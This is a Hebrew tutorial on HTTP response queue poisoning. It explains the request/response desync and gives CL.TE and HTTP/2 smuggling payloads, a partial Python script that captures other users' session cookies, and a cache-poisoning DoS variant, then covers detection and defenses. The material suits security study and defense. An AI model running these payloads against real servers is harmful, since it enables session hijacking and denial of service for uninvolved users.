הPoisoning תור תגובות - Response Queue Poisoning¶
מבוא¶
הPoisoning תור תגובות (Response Queue Poisoning) היא צורה מתקדמת של תקיפת הברחת בקשות שבה התוקף גורם ל-desync מלא בין תור הבקשות לתור התגובות. בניגוד להברחת בקשות רגילה שבה הבקשה המוברחת מצורפת לבקשה הבאה, בpoisoning תור תגובות - הבקשה המוברחת היא בקשה מלאה שגורמת לשרת לייצר תגובה נוספת, ובכך מזיזה את כל תור התגובות בעמדה אחת.
הבדל מהברחת בקשות רגילה¶
הברחת בקשות רגילה¶
Attacker sends: [normal request + smuggled prefix]
Next request: [prefix + victim request] -> error or different response
ה-prefix המוברח מצורף לבקשה הבאה ומשנה אותה. התגובה עדיין מגיעה למבקש הנכון.
הPoisoning תור תגובות¶
Attacker sends: [normal request + full smuggled request]
Server generates: [response to normal request] + [response to smuggled request]
Victim sends: [victim request]
Victim receives: [response to the smuggled request] (not theirs!)
Attacker sends: [another request]
Attacker receives: [response to the victim's request] (including session!)
מנגנון התקיפה בפירוט¶
שלב 1 - מצב רגיל¶
בחיבור keep-alive, בקשות ותגובות עוברות בתור:
Connection between front-end and back-end:
Requests: [request A] [request B] [request C] -->
Responses: <-- [response A] [response B] [response C]
כל בקשה מקבלת את התגובה המתאימה לה.
שלב 2 - injection בקשה מוברחת¶
התוקף שולח בקשה שמכילה בקשה מוברחת מלאה:
Connection:
Requests sent to the back-end:
[attacker request] [smuggled request] [victim request]
^
injected by the attacker
Responses coming back from the back-end:
[response to attacker] [response to smuggled] [response to victim]
שלב 3 - חוסר סנכרון¶
ה-front-end ראה שתי בקשות (תוקף + קורבן), אבל ה-back-end מייצר שלוש תגובות:
front-end expects: [response to attacker] [response to victim]
back-end sends: [response to attacker] [response to smuggled] [response to victim]
What happens:
Attacker receives: [response to attacker] - correct
Victim receives: [response to smuggled] - not theirs!
Next request receives: [response to victim] - someone else's!
דוגמה מעשית¶
הבקשה הזדונית (CL.TE)¶
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 61
Transfer-Encoding: chunked
0
GET /anything HTTP/1.1
Host: vulnerable-website.com
מה קורה¶
1. The front-end sees a single POST request (Content-Length: 61)
2. The back-end sees:
- POST / (chunked, ends with 0)
- GET /anything (new request)
3. The back-end generates two responses
4. The front-end expects a single response
5. The first response goes to the attacker
6. The second response gets "stuck" in the queue
7. The next request from any user receives the "stuck" response
לכידת תגובת הקורבן¶
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 61
Transfer-Encoding: chunked
0
GET /anything HTTP/1.1
Host: vulnerable-website.com
שליחת הבקשה הזדונית, ואז מיד שליחת בקשה רגילה:
התגובה לבקשה הרגילה תהיה בפועל התגובה של המשתמש הבא - שעלולה לכלול:
- הheader Set-Cookie עם טוקן session
- תוכן דף פרטי
- טוקני CSRF
תזמון ואמינות¶
אתגרי תזמון¶
הPoisoning תור תגובות רגישה לתזמון:
1. The smuggled request must be complete and valid
2. You need to send another request immediately after to capture the response
3. If another user sends a request in between, they will receive the response that isn't theirs
שיפור אמינות¶
import requests
import threading
import time
def response_queue_poison(target_url, smuggle_payload):
"""Perform response queue poisoning with retry attempts"""
session = requests.Session()
for attempt in range(10):
# Step 1: send the smuggled request
# (need a raw socket since requests doesn't support smuggling)
import socket
sock = socket.create_connection(
(target_url.replace('https://', ''), 443)
)
# ... send the smuggled request ...
# Step 2: send a normal request immediately
time.sleep(0.1)
resp = session.get(target_url)
# Step 3: check whether we received someone else's response
if 'Set-Cookie' in str(resp.headers):
session_token = resp.headers.get('Set-Cookie', '')
if 'session=' in session_token:
print(f"[+] Attempt {attempt+1}: token captured!")
print(f" Cookie: {session_token}")
return session_token
print(f"[-] Attempt {attempt+1}: no token captured")
return None
שיטות לשיפור תזמון¶
1. Send several requests in rapid succession right after the smuggling
2. Use multiple connections in parallel
3. Send requests to a path that causes a 302 redirect (short, fast response)
4. Send requests to a path with a unique response so you can easily identify a response that isn't yours
דוגמה מלאה - גניבת session¶
שלב 1 - אישור הברחה¶
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 67
Transfer-Encoding: chunked
0
GET /my-unique-path-12345 HTTP/1.1
Host: vulnerable-website.com
שולחים בקשה רגילה מיד אחרי. אם התגובה היא 404 עבור /my-unique-path-12345 - ההברחה עובדת ותור התגובות הוזז.
שלב 2 - לכידת session¶
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 67
Transfer-Encoding: chunked
0
GET /login HTTP/1.1
Host: vulnerable-website.com
הבקשה המוברחת פונה ל-/login. שולחים בקשה רגילה מיד אחרי. אם יש משתמש שפנה לדף כלשהו, התגובה שלו (שעלולה לכלול header Set-Cookie עם session חדש) תגיע אלינו.
שלב 3 - שימוש ב-session¶
הPoisoning תור דרך HTTP/2¶
תקיפה זו יעילה במיוחד דרך HTTP/2 downgrade:
:method: POST
:path: /
:authority: vulnerable-website.com
content-type: application/x-www-form-urlencoded
transfer-encoding: chunked
0
GET /login HTTP/1.1
Host: vulnerable-website.com
היתרון של HTTP/2: ה-framing הבינארי מאפשר שליטה מדויקת יותר בגוף הבקשה, וה-CRLF injection מאפשר injection headers שלא אפשריות ב-HTTP/1.1.
הExploit מתקדם - poisoning תור לטובת poisoning cache¶
ניתן לשלב poisoning תור תגובות עם cache:
1. Smuggle a request to /login (which returns a redirect with a session)
2. Send a normal request to /static/main.js
3. The response from /login will be cached as /static/main.js
4. Every visitor who loads main.js will get a redirect to /login
Or:
1. Smuggle a request to / (the homepage)
2. Send a request to /static/main.js
3. The homepage response (HTML) will be cached as main.js
4. JavaScript parsing error for every visitor = DoS
זיהוי חולשה¶
סימנים שהתקיפה עובדת¶
1. You receive a response that doesn't match the request you sent
2. Unexpected status code (for example 302 when you expected 200)
3. Set-Cookie headers in the response when you didn't request a login
4. HTML content when you requested JavaScript
בדיקה בטוחה¶
1. Send a smuggled request with a unique path (/unique-random-string)
2. Send several normal requests
3. If one of the responses is 404 for the unique path - there is a desync
4. Important: this test does not affect other users if the path is unique
ההבדל בין סוגי הברחה¶
| מאפיין | הברחה רגילה | הPoisoning תור |
|---|---|---|
| בקשה מוברחת | prefix חלקי | בקשה מלאה |
| תגובות | תגובה אחת מושפעת | כל התור מוזז |
| מה נלכד | בקשת הקורבן (כגוף) | תגובת הקורבן (כולל headers) |
| אמינות | גבוהה יחסית | תלויה בתזמון |
| השפעה | בקשה בודדת | כל הבקשות עד לסנכרון מחדש |
הגנה¶
1. שימוש ב-HTTP/2 מקצה לקצה¶
- The HTTP/2 protocol uses binary framing that prevents request smuggling
- Make sure there is no downgrade to HTTP/1.1 in the internal connection
2. עיבוד בקשות קפדני¶
- Reject requests that have both Content-Length and Transfer-Encoding
- Normalize request processing across all layers
- Use the same HTTP library on all servers
3. הגבלת חיבורי keep-alive¶
# nginx - limit the number of requests per connection
keepalive_requests 100;
# limit the keep-alive duration
keepalive_timeout 60s;
4. ניטור אנומליות¶
- Track mismatches between requests and responses
- Check whether responses arrive out of order
- Alert on responses with an unexpected status code
סיכום¶
הPoisoning תור תגובות היא הצורה הקשה ביותר של הברחת בקשות. היא מאפשרת לתוקף ללכוד תגובות מלאות של משתמשים אחרים, כולל טוקני session וheaders רגישות. נקודות מפתח:
- הבקשה המוברחת חייבת להיות בקשה מלאה וחוקית שתייצר תגובה משלה
- התגובה הנוספת מזיזה את כל תור התגובות ויוצרת desync
- התזמון קריטי - צריך לשלוח בקשה מיד אחרי ההברחה
- ההגנה הטובה ביותר היא HTTP/2 מקצה לקצה ועיבוד בקשות קפדני